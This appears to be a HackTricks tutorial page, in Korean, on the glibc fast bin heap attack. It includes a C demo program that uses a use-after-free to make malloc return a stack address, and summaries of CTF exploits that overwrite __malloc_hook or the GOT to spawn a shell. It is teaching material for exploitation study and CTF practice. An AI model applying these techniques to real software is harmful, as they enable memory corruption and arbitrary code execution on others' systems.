Fast Bin Attack
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
빠른 빈에 대한 자세한 정보는 이 페이지를 확인하세요:
빠른 빈은 단일 연결 리스트이기 때문에 다른 빈보다 보호가 훨씬 적으며, 해제된 빠른 빈 청크의 주소를 수정하는 것만으로도 나중에 임의의 메모리 주소에 청크를 할당할 수 있습니다.
요약하자면:
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
아주 잘 설명된 코드에서 전체 예제를 찾을 수 있습니다: https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
caution
만약 **global_max_fast
**의 값을 큰 숫자로 덮어쓸 수 있다면, 이는 더 큰 크기의 fast bin 청크를 생성할 수 있게 하여, 이전에는 불가능했던 시나리오에서 fast bin 공격을 수행할 수 있게 합니다. 이 상황은 large bin attack 및 unsorted bin attack 맥락에서 유용합니다.
예시
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- 청크를 할당하고, 해제하고, 내용을 읽고, 채울 수 있습니다(오버플로우 취약점으로).
- 정보 유출을 위한 청크 통합: 이 기술은 기본적으로 오버플로우를 악용하여 가짜
prev_size
를 생성하여 하나의 이전 청크가 더 큰 청크 안에 들어가게 하여, 다른 청크를 포함하는 더 큰 청크를 할당할 때 그 데이터를 출력하고 libc 주소(main_arena+88
)를 유출할 수 있게 합니다. - malloc 훅 덮어쓰기: 이를 위해, 이전의 겹치는 상황을 악용하여 동일한 메모리를 가리키는 2개의 청크를 가질 수 있었습니다. 따라서 두 청크를 모두 해제하고(보호를 피하기 위해 중간에 다른 청크를 해제하여) fast bin에 동일한 청크를 2번 가질 수 있었습니다. 그런 다음, 다시 할당하고, 다음 청크의 주소를
__malloc_hook
보다 조금 앞을 가리키도록 덮어쓸 수 있었습니다(그래서 malloc이 무료 크기로 생각하는 정수를 가리킵니다 - 또 다른 우회), 다시 할당한 후 malloc 훅에 주소를 받을 다른 청크를 할당합니다.
마지막으로 one gadget가 그곳에 기록되었습니다. - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- 힙 오버플로우와 사용 후 해제 및 이중 해제가 발생합니다. 청크가 해제될 때 포인터를 재사용하고 다시 해제할 수 있습니다.
- Libc 정보 유출: 몇 개의 청크를 해제하면 메인 아레나 위치의 일부에 대한 포인터를 얻습니다. 해제된 포인터를 재사용할 수 있으므로 이 주소를 읽기만 하면 됩니다.
- Fast bin 공격: 할당에 대한 모든 포인터는 배열에 저장되므로, 몇 개의 fast bin 청크를 해제하고 마지막 청크에서 이 포인터 배열을 가리키도록 주소를 덮어쓸 수 있습니다. 그런 다음 동일한 크기의 청크를 몇 개 할당하면 먼저 정당한 청크를 얻고 그 다음 포인터 배열을 포함하는 가짜 청크를 얻습니다. 이제 이 할당 포인터를 덮어써서
free
의 GOT 주소가system
을 가리키도록 만들고, 그런 다음 청크 1에"/bin/sh"
를 기록하여free(chunk1)
를 호출하면 대신system("/bin/sh")
가 실행됩니다. - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- 한 바이트 오버플로우를 악용하여 정렬되지 않은 빈에서 청크를 통합하고 libc 정보 유출을 얻은 다음, malloc 훅을 one gadget 주소로 덮어쓰는 fast bin 공격의 또 다른 예입니다.
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- UAF를 사용하여 정렬되지 않은 빈에서 libc 주소와 PIE 주소를 유출한 후, 이 CTF의 익스플로잇은 fast bin 공격을 사용하여 제어된 청크에 대한 포인터가 위치한 곳에 청크를 할당하여 특정 포인터를 덮어쓰고 GOT에 one gadget을 기록할 수 있었습니다.
- 정렬되지 않은 빈 공격을 통해 악용된 Fast Bin 공격을 찾을 수 있습니다:
- fast bin 공격을 수행하기 전에 free-lists를 악용하여 libc/heap 주소를 유출하는 것이 일반적입니다(필요할 때).
- Robot Factory. BlackHat MEA CTF 2022
- 우리는
0x100
보다 큰 크기의 청크만 할당할 수 있습니다. - Unsorted Bin 공격을 사용하여
global_max_fast
를 덮어씁니다(ASLR로 인해 1/16의 확률로 작동하며, 12비트를 수정해야 하지만 16비트를 수정해야 합니다). - 전역 청크 배열을 수정하기 위한 Fast Bin 공격. 이는 임의의 읽기/쓰기 원시 기능을 제공하여 GOT를 수정하고 일부 함수를
system
을 가리키도록 설정할 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.